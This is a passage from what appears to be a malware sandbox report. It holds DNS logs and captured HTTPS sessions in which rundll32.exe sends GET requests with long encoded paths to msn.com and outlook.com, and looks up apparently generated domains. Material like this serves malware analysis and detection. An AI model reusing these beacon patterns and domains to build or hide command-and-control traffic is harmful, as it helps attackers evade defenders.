Oct 11, 2021 22:23:37.634171009 CEST	8.8.8.8	192.168.2.7	0x2aa7	No error (0)	outlook.ms-acdc.office.com	HHN-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:23:37.634171009 CEST	8.8.8.8	192.168.2.7	0x2aa7	No error (0)	HHN-efz.ms-acdc.office.com		52.97.183.162	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:37.634171009 CEST	8.8.8.8	192.168.2.7	0x2aa7	No error (0)	HHN-efz.ms-acdc.office.com		52.98.208.66	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:37.634171009 CEST	8.8.8.8	192.168.2.7	0x2aa7	No error (0)	HHN-efz.ms-acdc.office.com		52.98.214.82	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:37.634171009 CEST	8.8.8.8	192.168.2.7	0x2aa7	No error (0)	HHN-efz.ms-acdc.office.com		40.101.60.2	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:57.015857935 CEST	8.8.8.8	192.168.2.7	0xaf8	Name error (3)	areuranel.website	none	none	A (IP address)	IN (0x0001)
Oct 11, 2021 22:23:57.989510059 CEST	8.8.8.8	192.168.2.7	0xbdb0	Name error (3)	areuranel.website	none	none	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:17.239850998 CEST	8.8.8.8	192.168.2.7	0xd257	No error (0)	msn.com		13.82.28.61	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:17.705154896 CEST	8.8.8.8	192.168.2.7	0x849e	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:24:18.066231012 CEST	8.8.8.8	192.168.2.7	0x66d4	No error (0)	msn.com		13.82.28.61	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:18.595428944 CEST	8.8.8.8	192.168.2.7	0x1499	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:24:38.098494053 CEST	8.8.8.8	192.168.2.7	0xbd54	Name error (3)	breuranel.website	none	none	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:39.052957058 CEST	8.8.8.8	192.168.2.7	0x6ab0	Name error (3)	breuranel.website	none	none	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:58.309329033 CEST	8.8.8.8	192.168.2.7	0x4071	No error (0)	outlook.com		40.97.164.146	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:58.309329033 CEST	8.8.8.8	192.168.2.7	0x4071	No error (0)	outlook.com		40.97.153.146	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:58.309329033 CEST	8.8.8.8	192.168.2.7	0x4071	No error (0)	outlook.com		40.97.116.82	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:58.309329033 CEST	8.8.8.8	192.168.2.7	0x4071	No error (0)	outlook.com		40.97.148.226	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:58.309329033 CEST	8.8.8.8	192.168.2.7	0x4071	No error (0)	outlook.com		40.97.161.50	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:58.309329033 CEST	8.8.8.8	192.168.2.7	0x4071	No error (0)	outlook.com		40.97.156.114	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:58.309329033 CEST	8.8.8.8	192.168.2.7	0x4071	No error (0)	outlook.com		40.97.160.2	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:58.309329033 CEST	8.8.8.8	192.168.2.7	0x4071	No error (0)	outlook.com		40.97.128.194	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:58.881478071 CEST	8.8.8.8	192.168.2.7	0xe22c	No error (0)	www.outlook.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:24:58.881478071 CEST	8.8.8.8	192.168.2.7	0xe22c	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:24:58.881478071 CEST	8.8.8.8	192.168.2.7	0xe22c	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:24:58.881478071 CEST	8.8.8.8	192.168.2.7	0xe22c	No error (0)	outlook.ms-acdc.office.com	HHN-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:24:58.881478071 CEST	8.8.8.8	192.168.2.7	0xe22c	No error (0)	HHN-efz.ms-acdc.office.com		52.97.137.178	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:58.881478071 CEST	8.8.8.8	192.168.2.7	0xe22c	No error (0)	HHN-efz.ms-acdc.office.com		52.97.151.114	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:58.881478071 CEST	8.8.8.8	192.168.2.7	0xe22c	No error (0)	HHN-efz.ms-acdc.office.com		40.101.60.2	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:58.881478071 CEST	8.8.8.8	192.168.2.7	0xe22c	No error (0)	HHN-efz.ms-acdc.office.com		52.97.151.50	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.054173946 CEST	8.8.8.8	192.168.2.7	0xe54	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:24:59.054173946 CEST	8.8.8.8	192.168.2.7	0xe54	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:24:59.054173946 CEST	8.8.8.8	192.168.2.7	0xe54	No error (0)	outlook.ms-acdc.office.com	FRA-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:24:59.054173946 CEST	8.8.8.8	192.168.2.7	0xe54	No error (0)	FRA-efz.ms-acdc.office.com		52.97.151.18	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.054173946 CEST	8.8.8.8	192.168.2.7	0xe54	No error (0)	FRA-efz.ms-acdc.office.com		52.97.147.178	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.054173946 CEST	8.8.8.8	192.168.2.7	0xe54	No error (0)	FRA-efz.ms-acdc.office.com		52.97.212.34	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.111654997 CEST	8.8.8.8	192.168.2.7	0xa669	No error (0)	outlook.com		40.97.164.146	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.111654997 CEST	8.8.8.8	192.168.2.7	0xa669	No error (0)	outlook.com		40.97.153.146	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.111654997 CEST	8.8.8.8	192.168.2.7	0xa669	No error (0)	outlook.com		40.97.116.82	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.111654997 CEST	8.8.8.8	192.168.2.7	0xa669	No error (0)	outlook.com		40.97.148.226	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.111654997 CEST	8.8.8.8	192.168.2.7	0xa669	No error (0)	outlook.com		40.97.161.50	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.111654997 CEST	8.8.8.8	192.168.2.7	0xa669	No error (0)	outlook.com		40.97.156.114	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.111654997 CEST	8.8.8.8	192.168.2.7	0xa669	No error (0)	outlook.com		40.97.160.2	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.111654997 CEST	8.8.8.8	192.168.2.7	0xa669	No error (0)	outlook.com		40.97.128.194	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.695882082 CEST	8.8.8.8	192.168.2.7	0xcaca	No error (0)	www.outlook.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:24:59.695882082 CEST	8.8.8.8	192.168.2.7	0xcaca	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:24:59.695882082 CEST	8.8.8.8	192.168.2.7	0xcaca	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:24:59.695882082 CEST	8.8.8.8	192.168.2.7	0xcaca	No error (0)	outlook.ms-acdc.office.com	HHN-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:24:59.695882082 CEST	8.8.8.8	192.168.2.7	0xcaca	No error (0)	HHN-efz.ms-acdc.office.com		40.101.60.2	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.695882082 CEST	8.8.8.8	192.168.2.7	0xcaca	No error (0)	HHN-efz.ms-acdc.office.com		52.97.157.162	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.695882082 CEST	8.8.8.8	192.168.2.7	0xcaca	No error (0)	HHN-efz.ms-acdc.office.com		52.97.151.146	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.695882082 CEST	8.8.8.8	192.168.2.7	0xcaca	No error (0)	HHN-efz.ms-acdc.office.com		52.97.151.2	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.875370026 CEST	8.8.8.8	192.168.2.7	0x83b1	No error (0)	outlook.office365.com	outlook.ha.office365.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:24:59.875370026 CEST	8.8.8.8	192.168.2.7	0x83b1	No error (0)	outlook.ha.office365.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:24:59.875370026 CEST	8.8.8.8	192.168.2.7	0x83b1	No error (0)	outlook.ms-acdc.office.com	FRA-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)
Oct 11, 2021 22:24:59.875370026 CEST	8.8.8.8	192.168.2.7	0x83b1	No error (0)	FRA-efz.ms-acdc.office.com		52.97.151.18	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.875370026 CEST	8.8.8.8	192.168.2.7	0x83b1	No error (0)	FRA-efz.ms-acdc.office.com		52.97.147.178	A (IP address)	IN (0x0001)
Oct 11, 2021 22:24:59.875370026 CEST	8.8.8.8	192.168.2.7	0x83b1	No error (0)	FRA-efz.ms-acdc.office.com		52.97.212.34	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

msn.com

outlook.com

www.outlook.com

outlook.office365.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49747	13.82.28.61	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Direction	Data
2021-10-11 20:22:52 UTC	OUT	GET /mail/liopolo/XqCHqVDXW8CZUpeu5peN_2/FydjgYTJtTmoC/fAo34oef/chWHLvpFFUOYdiWXbNbnYW0/Rfy3HU21P_/2FwjKpEqeFo_2FxU6/0A_2BR4J2MVl/hx12NRqsjmC/kkNl1wduKuFf8Q/FUG3Ocqqzs1x_2BibuPx6/9auuC1P5josci_2B/vyxmzUWJ7gSzOqo/Jt7rxzWzdI7AYIGNrQ/e7oR22vyh/Me9W1V8u/5SwAx9Su/B.jre HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: msn.com
2021-10-11 20:22:52 UTC	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=UTF-8 Location: https://www.msn.com/mail/liopolo/XqCHqVDXW8CZUpeu5peN_2/FydjgYTJtTmoC/fAo34oef/chWHLvpFFUOYdiWXbNbnYW0/Rfy3HU21P_/2FwjKpEqeFo_2FxU6/0A_2BR4J2MVl/hx12NRqsjmC/kkNl1wduKuFf8Q/FUG3Ocqqzs1x_2BibuPx6/9auuC1P5josci_2B/vyxmzUWJ7gSzOqo/Jt7rxzWzdI7AYIGNrQ/e7oR22vyh/Me9W1V8u/5SwAx9Su/B.jre Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Mon, 11 Oct 2021 20:22:51 GMT Connection: close Content-Length: 402
2021-10-11 20:22:52 UTC	IN	Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 4d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 73 6e 2e 63 6f 6d 2f 6d 61 69 6c 2f 6c 69 6f 70 6f 6c 6f 2f 58 71 43 48 71 56 44 58 57 38 43 5a 55 70 65 75 35 70 65 4e 5f 32 2f 46 79 64 6a 67 59 54 4a 74 54 6d 6f 43 2f 66 41 6f 33 34 6f 65 66 2f 63 68 57 48 4c 76 70 46 46 55 4f 59 64 69 57 58 62 4e 62 6e 59 57 30 2f 52 66 79 33 48 55 32 31 50 5f 2f 32 46 77 6a 4b 70 45 71 65 46 6f 5f 32 46 78 55 36 2f 30 41 5f 32 42 52 34 4a 32 4d 56 6c 2f 68 78 31 32 Data Ascii: <head><title>Document Moved</title></head><body><h1>Object Moved</h1>This document may be found <a HREF="https://www.msn.com/mail/liopolo/XqCHqVDXW8CZUpeu5peN_2/FydjgYTJtTmoC/fAo34oef/chWHLvpFFUOYdiWXbNbnYW0/Rfy3HU21P_/2FwjKpEqeFo_2FxU6/0A_2BR4J2MVl/hx12

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49749	13.82.28.61	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-11 20:22:55 UTC	1	OUT	GET /mail/liopolo/yn_2BPYQmJ20vgPRL3/3wjWE1bwH/DDPf_2FmyfN4qjiroAKh/7sxv413IrGA7KcA9Hu0/BYfxtbSdLKzFinzGkJGdmk/P_2Fifx7koRFQ/MIG6rk6P/jRWWDjWjz87k5xmFJxsJqsu/JDVOEV0_2F/rb6v_2FY3MQLb6_2F/gkDS2luFhYah/H5Mm0Y9iZUr/9_2FNXlrb5xId9/cAon_2FllX9wfUzSs9jRy/iECEQNsAU7oK/0.jre HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: msn.com
2021-10-11 20:22:56 UTC	1	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=UTF-8 Location: https://www.msn.com/mail/liopolo/yn_2BPYQmJ20vgPRL3/3wjWE1bwH/DDPf_2FmyfN4qjiroAKh/7sxv413IrGA7KcA9Hu0/BYfxtbSdLKzFinzGkJGdmk/P_2Fifx7koRFQ/MIG6rk6P/jRWWDjWjz87k5xmFJxsJqsu/JDVOEV0_2F/rb6v_2FY3MQLb6_2F/gkDS2luFhYah/H5Mm0Y9iZUr/9_2FNXlrb5xId9/cAon_2FllX9wfUzSs9jRy/iECEQNsAU7oK/0.jre Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Mon, 11 Oct 2021 20:22:55 GMT Connection: close Content-Length: 405
2021-10-11 20:22:56 UTC	2	IN	Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 4d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 73 6e 2e 63 6f 6d 2f 6d 61 69 6c 2f 6c 69 6f 70 6f 6c 6f 2f 79 6e 5f 32 42 50 59 51 6d 4a 32 30 76 67 50 52 4c 33 2f 33 77 6a 57 45 31 62 77 48 2f 44 44 50 66 5f 32 46 6d 79 66 4e 34 71 6a 69 72 6f 41 4b 68 2f 37 73 78 76 34 31 33 49 72 47 41 37 4b 63 41 39 48 75 30 2f 42 59 66 78 74 62 53 64 4c 4b 7a 46 69 6e 7a 47 6b 4a 47 64 6d 6b 2f 50 5f 32 46 69 66 78 37 6b 6f 52 46 51 2f 4d 49 47 36 72 6b 36 50 2f Data Ascii: <head><title>Document Moved</title></head><body><h1>Object Moved</h1>This document may be found <a HREF="https://www.msn.com/mail/liopolo/yn_2BPYQmJ20vgPRL3/3wjWE1bwH/DDPf_2FmyfN4qjiroAKh/7sxv413IrGA7KcA9Hu0/BYfxtbSdLKzFinzGkJGdmk/P_2Fifx7koRFQ/MIG6rk6P/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.7	49836	40.97.164.146	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-11 20:24:58 UTC	14	OUT	GET /signup/liopolo/5R03kGEb4YkHyvd/vrgMCXbUCWgL9mS74E/ZNV_2FT7r/A0OAE579SB7Hx3A4JeNe/QST70In3HBC_2F_2Flg/hEE1oqV04Tcb_2BXZ4DwC_/2BDjxaFgiu1Kq/cZhA7baN/ystZ_2FV5yPDIe8qQfN_2Fy/gQ02q5YT1n/eawFPHFBcfhAYskcF/Z0kyVxsdmmeN/mzjXdayEo/OIVTn_2Fwlw/Fu.jre HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: outlook.com
2021-10-11 20:24:58 UTC	15	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://www.outlook.com/signup/liopolo/5R03kGEb4YkHyvd/vrgMCXbUCWgL9mS74E/ZNV_2FT7r/A0OAE579SB7Hx3A4JeNe/QST70In3HBC_2F_2Flg/hEE1oqV04Tcb_2BXZ4DwC_/2BDjxaFgiu1Kq/cZhA7baN/ystZ_2FV5yPDIe8qQfN_2Fy/gQ02q5YT1n/eawFPHFBcfhAYskcF/Z0kyVxsdmmeN/mzjXdayEo/OIVTn_2Fwlw/Fu.jre Server: Microsoft-IIS/10.0 request-id: 8099a53e-65af-3880-089e-cf2445712a7f Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: DM5PR12CA0067 X-RequestId: 550a032f-ef09-4904-8e85-4a39f2296aff MS-CV: PqWZgK9lgDgIns8kRXEqfw.0 X-Powered-By: ASP.NET X-FEServer: DM5PR12CA0067 Date: Mon, 11 Oct 2021 20:24:57 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.7	49837	52.97.137.178	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-11 20:24:58 UTC	15	OUT	GET /signup/liopolo/5R03kGEb4YkHyvd/vrgMCXbUCWgL9mS74E/ZNV_2FT7r/A0OAE579SB7Hx3A4JeNe/QST70In3HBC_2F_2Flg/hEE1oqV04Tcb_2BXZ4DwC_/2BDjxaFgiu1Kq/cZhA7baN/ystZ_2FV5yPDIe8qQfN_2Fy/gQ02q5YT1n/eawFPHFBcfhAYskcF/Z0kyVxsdmmeN/mzjXdayEo/OIVTn_2Fwlw/Fu.jre HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: www.outlook.com
2021-10-11 20:24:59 UTC	16	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://outlook.office365.com/signup/liopolo/5R03kGEb4YkHyvd/vrgMCXbUCWgL9mS74E/ZNV_2FT7r/A0OAE579SB7Hx3A4JeNe/QST70In3HBC_2F_2Flg/hEE1oqV04Tcb_2BXZ4DwC_/2BDjxaFgiu1Kq/cZhA7baN/ystZ_2FV5yPDIe8qQfN_2Fy/gQ02q5YT1n/eawFPHFBcfhAYskcF/Z0kyVxsdmmeN/mzjXdayEo/OIVTn_2Fwlw/Fu.jre Server: Microsoft-IIS/10.0 request-id: b9b7327e-5b78-5b44-ef43-2c8ec9713b98 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: AM6P192CA0067 X-RequestId: f30f3fcf-a4dd-4657-ad11-fef223c73bd5 MS-CV: fjK3uXhbRFvvQyyOyXE7mA.0 X-Powered-By: ASP.NET X-FEServer: AM6P192CA0067 Date: Mon, 11 Oct 2021 20:24:58 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.7	49838	52.97.151.18	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-11 20:24:59 UTC	16	OUT	GET /signup/liopolo/5R03kGEb4YkHyvd/vrgMCXbUCWgL9mS74E/ZNV_2FT7r/A0OAE579SB7Hx3A4JeNe/QST70In3HBC_2F_2Flg/hEE1oqV04Tcb_2BXZ4DwC_/2BDjxaFgiu1Kq/cZhA7baN/ystZ_2FV5yPDIe8qQfN_2Fy/gQ02q5YT1n/eawFPHFBcfhAYskcF/Z0kyVxsdmmeN/mzjXdayEo/OIVTn_2Fwlw/Fu.jre HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: outlook.office365.com
2021-10-11 20:24:59 UTC	17	IN	HTTP/1.1 404 Not Found Content-Length: 1245 Content-Type: text/html Server: Microsoft-IIS/10.0 request-id: de37bbb0-742b-37a2-87bd-bd1fca420c34 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-CalculatedFETarget: HE1PR05CU010.internal.outlook.com X-BackEndHttpStatus: 404 X-FEProxyInfo: HE1PR05CA0294.EURPRD05.PROD.OUTLOOK.COM X-CalculatedBETarget: HE1P193MB0009.EURP193.PROD.OUTLOOK.COM X-BackEndHttpStatus: 404 X-RUM-Validated: 1 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 404 MS-CV: sLs33it0ojeHvb0fykIMNA.1.1 X-FEServer: HE1PR05CA0294 X-Powered-By: ASP.NET X-FEServer: AM6P193CA0092 Date: Mon, 11 Oct 2021 20:24:58 GMT Connection: close
2021-10-11 20:24:59 UTC	17	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - Fil

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.7	49839	40.97.164.146	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-11 20:24:59 UTC	19	OUT	GET /signup/liopolo/7RiyOegViATthNX4pt/E65VkdFK0/peIG_2BaG1SxNKYOcdXs/80APf88JeQpK_2BfrxB/1_2B2_2FNDAEnuSdYMUmdr/BpxBwvlUzTu3W/v3tDiaIH/uhnULhLXCDfDONp_2FCc03F/ZkPsDATWsR/KNPTfNdkqqbWMwLBy/xU_2Bk46LKIT/9_2FOKzik9g/v8mZTndKcyg89a/ELxzR_2BALqku0rQMRn2U/KVAF7ruVq/mnKq.jre HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: outlook.com
2021-10-11 20:24:59 UTC	19	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://www.outlook.com/signup/liopolo/7RiyOegViATthNX4pt/E65VkdFK0/peIG_2BaG1SxNKYOcdXs/80APf88JeQpK_2BfrxB/1_2B2_2FNDAEnuSdYMUmdr/BpxBwvlUzTu3W/v3tDiaIH/uhnULhLXCDfDONp_2FCc03F/ZkPsDATWsR/KNPTfNdkqqbWMwLBy/xU_2Bk46LKIT/9_2FOKzik9g/v8mZTndKcyg89a/ELxzR_2BALqku0rQMRn2U/KVAF7ruVq/mnKq.jre Server: Microsoft-IIS/10.0 request-id: 1e93f8c3-830c-1ea8-5c43-4416fe7d809a Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: DM5PR12CA0049 X-RequestId: 3b392557-e5a2-404f-b4de-d23d99694827 MS-CV: w/iTHgyDqB5cQ0QW/n2Amg.0 X-Powered-By: ASP.NET X-FEServer: DM5PR12CA0049 Date: Mon, 11 Oct 2021 20:24:59 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.7	49840	40.101.60.2	443	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-11 20:24:59 UTC	20	OUT	GET /signup/liopolo/7RiyOegViATthNX4pt/E65VkdFK0/peIG_2BaG1SxNKYOcdXs/80APf88JeQpK_2BfrxB/1_2B2_2FNDAEnuSdYMUmdr/BpxBwvlUzTu3W/v3tDiaIH/uhnULhLXCDfDONp_2FCc03F/ZkPsDATWsR/KNPTfNdkqqbWMwLBy/xU_2Bk46LKIT/9_2FOKzik9g/v8mZTndKcyg89a/ELxzR_2BALqku0rQMRn2U/KVAF7ruVq/mnKq.jre HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: www.outlook.com
2021-10-11 20:24:59 UTC	20	IN	HTTP/1.1 301 Moved Permanently Cache-Control: no-cache Pragma: no-cache Location: https://outlook.office365.com/signup/liopolo/7RiyOegViATthNX4pt/E65VkdFK0/peIG_2BaG1SxNKYOcdXs/80APf88JeQpK_2BfrxB/1_2B2_2FNDAEnuSdYMUmdr/BpxBwvlUzTu3W/v3tDiaIH/uhnULhLXCDfDONp_2FCc03F/ZkPsDATWsR/KNPTfNdkqqbWMwLBy/xU_2Bk46LKIT/9_2FOKzik9g/v8mZTndKcyg89a/ELxzR_2BALqku0rQMRn2U/KVAF7ruVq/mnKq.jre Server: Microsoft-IIS/10.0 request-id: 08857e56-471f-5dd0-62e1-55fcf4807e17 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-FEServer: AM5PR0601CA0033 X-RequestId: a944b9ab-d067-4189-87b9-0baccc96b6f7 MS-CV: Vn6FCB9H0F1i4VX89IB+Fw.0 X-Powered-By: ASP.NET X-FEServer: AM5PR0601CA0033 Date: Mon, 11 Oct 2021 20:24:59 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.7	49841	52.97.151.18	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-11 20:24:59 UTC	21	OUT	GET /signup/liopolo/7RiyOegViATthNX4pt/E65VkdFK0/peIG_2BaG1SxNKYOcdXs/80APf88JeQpK_2BfrxB/1_2B2_2FNDAEnuSdYMUmdr/BpxBwvlUzTu3W/v3tDiaIH/uhnULhLXCDfDONp_2FCc03F/ZkPsDATWsR/KNPTfNdkqqbWMwLBy/xU_2Bk46LKIT/9_2FOKzik9g/v8mZTndKcyg89a/ELxzR_2BALqku0rQMRn2U/KVAF7ruVq/mnKq.jre HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0) Host: outlook.office365.com
